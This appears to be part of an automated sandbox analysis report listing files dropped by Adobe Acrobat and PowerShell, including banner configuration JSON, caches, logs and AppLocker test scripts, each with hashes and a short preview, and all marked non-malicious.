Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.341665986750362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfFldPeUkwRe9:YvXKXQNGI0T5LjIPA8nGz8Ukee9
MD5:	D61918E27AE8C42E79DF0E3263C91394
SHA1:	C7550EC36EEB1DA7D0BE8AD57D8E11AB45D14C2B
SHA-256:	D377792820449CE1505237942B7F243C2D94B7F87168EA83D8EC212970192BE9
SHA-512:	FF446810558788472BA09EEDA47327C63D7F042D5DB42E905D0AB5A7CFDC2596B5B048C4A9A59CB02A895304AE5CFB1581ACD896B0EFD3F0D6C1CA9185CF3B99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356953024073886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfzdPeUkwRe9:YvXKXQNGI0T5LjIPA8nGb8Ukee9
MD5:	76E2EC9A18467B2A7EC366F6C4E636E4
SHA1:	035F1286EB5DA4A22F2A68473F05D9B8123AD539
SHA-256:	EE6086062B8512E1E2497096A3699A975D77448F561645EBA2CF747A7A8CF114
SHA-512:	65DDBC4CCA2B26CE8A1AD6F42B58D93ECCED0AD1B2AE7F37AF6D3A59EA4A85E7B75D3AC7A13F9D3B13830DC765AB19EFDD7E169A16DEED95FBA848A052B416C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.338083351607026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfYdPeUkwRe9:YvXKXQNGI0T5LjIPA8nGg8Ukee9
MD5:	8FB612B8903E40C9E5F5EC5D782EA91B
SHA1:	10C70B811D417E24433123875F23AA3C9CE46023
SHA-256:	2F10CA5CB8B214F2269683ED959DE98CF3F732D5D0E6B725FB822FF7474F0D47
SHA-512:	ACAB9905707ACBE156DE36A03A8DD2C4D78DC5A71B52B8131AF347DC889F9D1D6B6B00FC9F389AC69695AA76711B35EF81CB11463E51D32D3552999F762B0C04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.325103196899918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJf+dPeUkwRe9:YvXKXQNGI0T5LjIPA8nG28Ukee9
MD5:	84C3C8818A75E693B9B49B838DDC2D5A
SHA1:	2CAA464D8B6D01B965DAC657396F32A631769DA1
SHA-256:	76F01A79C3DEA79A4C9F392CE02724D9430D80B4D92BEFDD926A28C7C6C7DADF
SHA-512:	40E53B1FC696D1862C2532A913DBE0C9E89DFABCAB07EEB6966A8876F0EDE9868616B6468AE4E53FD809E1953318D5267B8687EF7722125F4EAF7D6A5FBD3797
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.3213687080327325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfbPtdPeUkwRe9:YvXKXQNGI0T5LjIPA8nGDV8Ukee9
MD5:	FAB607D9AD3BF189FE27DBFFD4D284EF
SHA1:	1E1C56309BB8FF49C9432218B9641B7660FF4AC4
SHA-256:	C5426A51534FD5F0BBDB2017DB6376B2A20928C047CA6EB053DC8F44ABCB7B47
SHA-512:	69980C7BE575919A1B5DD94B87A3A34D1194178F9C5BF348DD307D311B951033E0C737D5E5BC06DD43FD1F9368F2A2592A5A1FD4C711965478B6CF0F1367E2A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.313655766005596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJf21rPeUkwRe9:YvXKXQNGI0T5LjIPA8nG+16Ukee9
MD5:	AB707E7C37C9760B734945426E7B83A7
SHA1:	3A47C6376DBD9F1B28D2D9D9C42B2A42792C740A
SHA-256:	9AFAF37D412D2B3F3F6B4015C275D84567EE5D1B9AE2E7A188A4B8FCE115CB87
SHA-512:	A9C44948677E208413A69D59A1FD623B7E80F8C27FEBF4B534DF8F23E9CBBF41149EE943555BEB5037D41F2FB0E6574A63774EA49925A038150F1CEF014500A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.677890820508273
Encrypted:	false
SSDEEP:	24:Yv6XQ2T5XIY8YamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg:YvXuXOeBgkDMUJUAh8cvMg
MD5:	39C1AB5DA8087302AE7DE5CB731999A3
SHA1:	8924F121215B641C1D426ABBFA8A5A411AC41B37
SHA-256:	5EF0018E336598C41CDB16C60E437193B1299A6B832BB75F0473F8A53EB9E01B
SHA-512:	A64444B032EAD355B2F4E935F758369510C8A755CD228B4FC9FAB6F3C697802953857C4FB9FBE659B885017AAFA6869EA9E7C8DA32158132A3456D81FE2BFD31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.290131508865469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfshHHrPeUkwRe9:YvXKXQNGI0T5LjIPA8nGUUUkee9
MD5:	F8AE56F725B5C1BBE67BC211C587103A
SHA1:	E6AC04EF4C0DA3178BCB467898CD3DA3FC5319AC
SHA-256:	11FB2814C2CECFA9EDB4411FB6A088068D220AC8119154986A86F37DB382F1B3
SHA-512:	06C562A8573E59BB7DD1A87FF51C091872EDE5984D727B774121E318D36DCD84662271983ABD5D3BE03A55AF6E039EB9666324968D11604E85A13A22B6B2D799
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.296820442851432
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJTqgFCrPeUkwRe9:YvXKXQNGI0T5LjIPA8nGTq16Ukee9
MD5:	43C073E30AAEBAC09E0F0A0965164C93
SHA1:	7AC44832F3E4D538D18C5D1817706445F59DED12
SHA-256:	DD30492EF2115039F1D2BC0AF577E2403EE58ABE023DEF501E3128EFF8B63A99
SHA-512:	A6A421F1F7E386221AB743AB0F29E22B130A58625AA0E8A6F4FFE13B34B58469E714A5B6B88A4AEB87683307466634984E564EDDCEAEAEAA35ED99C9F443187A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140557297459499
Encrypted:	false
SSDEEP:	24:Yn81va54ha2LayuVTKtEqL+Y6+kC/Opj9j0Sv+LL2vV2LSBCmMbxshLgqLM5CWuE:Yn8I2a2oRo+YfIRSwVHkxshvIi9iH
MD5:	13730BA50CABF82F312A0BC3403DDBD5
SHA1:	02B33BB209B17515864DF7DB2F165AEF9D727CEF
SHA-256:	B44E0EE5AF8EBE6B67A320C3FB503F337C1E3706DFCF60595C9611DB6CABC813
SHA-512:	B50AD711658F247EA80EC9D0C6F798C534F2242F83BFCD7CC8254E6CFB70534F2D61F6FCDE8F08CD9E3AC575D444CCE0FC88E3B643901277650B363955FA45D9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6c7278035f1a0b22fb94b09a12f08c3e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581513000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"39878e73b5ae955420658bd1506e5596","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581513000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6a0fb6e85d2a5d2a2694682e561d7396","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581513000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"446273167484e09769b33bd80502a4c5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581513000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"92eb5a6a5c2c4cb6e611cf027180c937","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581513000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"27103295e2fbefa6253e98f80101ac7d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3668764475902864
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuBUXKdqEKfS8EKfM1baZUF:Tll2GL7msMcKTlS8fcsuBbfIZY
MD5:	D40EBFC41C92753FBF97092521FBF070
SHA1:	8957759CFA1C60C4FFFCE8DEA4E8AF62DDD3B9E6
SHA-256:	AEFB25ACD1D05B759CF1B8FA305392A9E4DB0ECEF752F99E30DAAF76D7EC1702
SHA-512:	FC07A57A0E6D3F9649AC8B71CF9E7CED795450705188501CB73443916E6C67ED153EE80A9B56AC2C8DD1B8E22E6CA14023B23D5FA67B9E2F612EB7C59F056EE6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8421850711746233
Encrypted:	false
SSDEEP:	24:7+tKZ6bqyKn6ylSTofcNqDuBU+KdqEKfS8EKfM1banbqDOpqLKufx/XYKQvGJF7O:7MQcKTlS8fcsuBOfIRpqGufl2GL7msq
MD5:	7412DBBA4EA69F044476D2CB0EC33A5E
SHA1:	7A49A68B4D764BDCDEE1E60591736408640F67CB
SHA-256:	19F48C6294C61FEB41FB093E254D7800193C51C9B1426C2440E7E32EA2FFB070
SHA-512:	5021C7A063D2A817176A139F60FC255BFA9D92808327F54C03C5BEC78ACEBB09C65582410BD49E6E3DB8DD73FE5E42AAC90C3CDB6244FF7D898FC5EF7648A3CD
Malicious:	false
Preview:	.... .c.......4r..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBFdZD1HrXeaK0IgBBP5HNCB0Yyu:6a6TZ44ADEBFr1LXe1ENy0K
MD5:	230B08E4AB1EF444A505E734E45885D6
SHA1:	895BD8A31627E04D320A3452E2DA7F5D58B68DE8
SHA-256:	F38DE59DEB128B1218FD20F4849AC7053E87EC239DCC72DF0958A4B7ACEAD66D
SHA-512:	D1953F255DF2A6C59F2F2B6401A193ABB7D25108ED5CB36FFCC9B40B82B8F6907B40ED642C3A7C293AABD188D469F5D4A93D5780EC4C0EEE7DB61D4F101120F4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIacdfa.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4917080724083283
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClunH:Qw946cPbiOxDlbYnuRKdx
MD5:	2EC406B52AB3CF36CBB9A3D78CDBC46B
SHA1:	C21C7728F7FDAD68E9B948D941A55BDF88FA7B5B
SHA-256:	D061EE38B2233D77735BCC8CD2DC8D0A2AA02D83D906A376F9A7D7BBF22E426B
SHA-512:	6D0793620E8A0E57C9F59A4879BF3C58E06224AC5548839822B51E9014AC4787BB65B9A43C958B0704FA6F7F46685487533DB9A62AA1DC17AD56071FEAB77F7A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.5.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dk3gp1x3.qo1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_srdcasov.crj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-45-06-358.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15099
Entropy (8bit):	5.327973680312229
Encrypted:	false
SSDEEP:	384:5sIdGd7dudYG9GpaGFG2GgGVGXG4wjwPR9Rhaya+aDaEaFcDQnDkD2gkgwg6UeUH:5fYZQ2OWaSrLEKV+M3jpRQ13MnoCb31I
MD5:	B1B3F3D095A641AD662F54B7CD25D8D9
SHA1:	24324D43CA3A649DBBE90B8F2201DF6F4DE8DE0D
SHA-256:	96D0F69E96F7380EB93EAD4DB861A87800162855A61EA46812D694640B8901E6
SHA-512:	E015CF8DAA9DF269EB35F56AE93140A1FBC28B05B92BBC680BB7D215C03978FD5CE22968B95E8327239B9387111B0305D2514514A83FC9724F4FE68835C350A5
Malicious:	false
Preview:	SessionID=5de6f619-cb98-4d81-aa08-0f006160a0c5.1736581506372 Timestamp=2025-01-11T02:45:06:372-0500 ThreadID=2992 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5de6f619-cb98-4d81-aa08-0f006160a0c5.1736581506372 Timestamp=2025-01-11T02:45:06:373-0500 ThreadID=2992 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5de6f619-cb98-4d81-aa08-0f006160a0c5.1736581506372 Timestamp=2025-01-11T02:45:06:373-0500 ThreadID=2992 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5de6f619-cb98-4d81-aa08-0f006160a0c5.1736581506372 Timestamp=2025-01-11T02:45:06:373-0500 ThreadID=2992 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5de6f619-cb98-4d81-aa08-0f006160a0c5.1736581506372 Timestamp=2025-01-11T02:45:06:373-0500 ThreadID=2992 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38135977057271
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmLcb4I97cbJ:8qnXopZ50r69w
MD5:	FC45D24E75C1A3DA356FE9B55817DBEC
SHA1:	9D073FB29B2B4AA9540E9AF580B6C50E4C1158D3
SHA-256:	18D5E7A868B026EBDB0122FA9319CC21E29F8C52556837B41459C3243DCBA756
SHA-512:	D643A9B0A6DA333C29718D633BA788D963792FE75561DA9560CC10F9E5590176C4B5A086A0296A51D367D436FAD20A0C4B2AC2EFE7F9C7A7EB565487B2A269D2
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

